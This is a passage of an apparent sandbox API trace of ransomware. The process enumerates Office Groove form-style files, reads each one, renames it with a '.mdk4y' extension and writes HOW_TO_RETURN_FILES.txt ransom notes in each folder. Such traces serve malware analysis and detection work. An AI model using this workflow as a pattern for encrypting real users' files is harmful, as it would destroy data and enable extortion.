office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0220.579] GetFileType (hFile=0x134) returned 0x1 [0220.580] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.580] AreFileApisANSI () returned 1 [0220.580] GetACP () returned 0x4e4 [0220.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sts2.css", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Sts2.csseen.css", lpUsedDefaultChar=0x37dd1c) returned 8 [0220.580] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0220.581] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829581100000) returned 1 [0220.581] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x107e, lpOverlapped=0x0) returned 1 [0220.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829584800000) returned 1 [0220.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829585000000) returned 1 [0220.621] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts2.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2.css.mdk4y")) returned 1 [0220.622] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.622] AreFileApisANSI () returned 1 [0220.622] GetACP () returned 0x4e4 [0220.622] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Swirl", cchWideChar=5, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Swirlcss", lpUsedDefaultChar=0x37dd1c) returned 5 [0220.622] AreFileApisANSI () returned 1 [0220.623] GetACP () returned 0x4e4 [0220.623] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=101, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\Ȁ") returned 101 [0220.659] AreFileApisANSI () returned 1 [0220.660] GetACP () returned 0x4e4 [0220.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0220.660] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.660] AreFileApisANSI () returned 1 [0220.660] GetACP () returned 0x4e4 [0220.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0220.660] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.660] AreFileApisANSI () returned 1 [0220.660] GetACP () returned 0x4e4 [0220.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="background.gif", cchWideChar=14, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="background.gifM", lpUsedDefaultChar=0x37dc90) returned 14 [0220.660] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\background.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829589200000) returned 1 [0220.662] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x32f, lpOverlapped=0x0) returned 1 [0220.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829589300000) returned 1 [0220.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829589300000) returned 1 [0220.664] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\background.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\background.gif.mdk4y")) returned 1 [0220.666] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.666] AreFileApisANSI () returned 1 [0220.666] GetACP () returned 0x4e4 [0220.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADER.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="HEADER.GIF.gif", lpUsedDefaultChar=0x37dc90) returned 10 [0220.666] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829589700000) returned 1 [0220.667] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x6993, lpOverlapped=0x0) returned 1 [0220.677] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829590700000) returned 1 [0220.677] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829590700000) returned 1 [0220.678] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HEADER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\header.gif.mdk4y")) returned 1 [0220.680] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.680] AreFileApisANSI () returned 1 [0220.680] GetACP () returned 0x4e4 [0220.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIFgif", lpUsedDefaultChar=0x37dc90) returned 11 [0220.680] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.682] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829591200000) returned 1 [0220.682] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x155, lpOverlapped=0x0) returned 1 [0220.683] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829591600000) returned 1 [0220.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829591600000) returned 1 [0220.686] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\tab_off.gif.mdk4y")) returned 1 [0220.689] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.689] AreFileApisANSI () returned 1 [0220.689] GetACP () returned 0x4e4 [0220.689] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0220.690] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.691] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829592100000) returned 1 [0220.691] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xde, lpOverlapped=0x0) returned 1 [0220.692] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829592200000) returned 1 [0220.692] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829592200000) returned 1 [0220.692] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\tab_on.gif.mdk4y")) returned 1 [0220.693] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0220.693] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0220.694] AreFileApisANSI () returned 1 [0220.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 125 [0220.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0220.695] GetFileType (hFile=0x134) returned 0x1 [0220.723] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.723] AreFileApisANSI () returned 1 [0220.723] GetACP () returned 0x4e4 [0220.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Swirl.css", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Swirl.cssen.css", lpUsedDefaultChar=0x37dd1c) returned 9 [0220.723] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0220.725] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829595500000) returned 1 [0220.725] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xfb9, lpOverlapped=0x0) returned 1 [0220.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829595700000) returned 1 [0220.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829595700000) returned 1 [0220.727] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl.css.mdk4y")) returned 1 [0220.729] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.729] AreFileApisANSI () returned 1 [0220.729] GetACP () returned 0x4e4 [0220.729] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Teal.css", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Teal.csss", lpUsedDefaultChar=0x37dd1c) returned 8 [0220.729] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\teal.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0220.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829596000000) returned 1 [0220.730] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x738, lpOverlapped=0x0) returned 1 [0220.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829598000000) returned 1 [0220.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829598000000) returned 1 [0220.751] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\teal.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Teal.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\teal.css.mdk4y")) returned 1 [0220.752] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.752] AreFileApisANSI () returned 1 [0220.752] GetACP () returned 0x4e4 [0220.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TexturedBlue.css", cchWideChar=16, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="TexturedBlue.css", lpUsedDefaultChar=0x37dd1c) returned 16 [0220.752] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\texturedblue.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0220.754] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829598400000) returned 1 [0220.754] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x739, lpOverlapped=0x0) returned 1 [0220.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829598500000) returned 1 [0220.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829598500000) returned 1 [0220.755] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\texturedblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\TexturedBlue.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\texturedblue.css.mdk4y")) returned 1 [0220.756] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.756] AreFileApisANSI () returned 1 [0220.756] GetACP () returned 0x4e4 [0220.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VelvetRose.css", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="VelvetRose.cssss", lpUsedDefaultChar=0x37dd1c) returned 14 [0220.756] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\velvetrose.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0220.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829598700000) returned 1 [0220.757] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x733, lpOverlapped=0x0) returned 1 [0220.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829600900000) returned 1 [0220.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829600900000) returned 1 [0220.780] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\velvetrose.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\VelvetRose.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\velvetrose.css.mdk4y")) returned 1 [0220.782] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 0 [0220.782] FindClose (in: hFindFile=0x6ab410 | out: hFindFile=0x6ab410) returned 1 [0220.783] AreFileApisANSI () returned 1 [0220.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 119 [0220.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37da54, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0220.785] GetFileType (hFile=0x13c) returned 0x1 [0220.786] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0220.786] AreFileApisANSI () returned 1 [0220.786] GetACP () returned 0x4e4 [0220.786] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsVersion1Warning.htm", cchWideChar=24, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsVersion1Warning.html", lpUsedDefaultChar=0x37dda8) returned 24 [0220.786] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsversion1warning.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0220.787] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829601700000) returned 1 [0220.787] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x8f8, lpOverlapped=0x0) returned 1 [0220.789] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829601900000) returned 1 [0220.789] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829601900000) returned 1 [0220.789] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsversion1warning.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsversion1warning.htm.mdk4y")) returned 1 [0220.791] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0220.791] AreFileApisANSI () returned 1 [0220.791] GetACP () returned 0x4e4 [0220.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsViewAttachmentIcons.jpg", cchWideChar=28, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsViewAttachmentIcons.jpg9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 28 [0220.791] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticons.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0220.793] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: 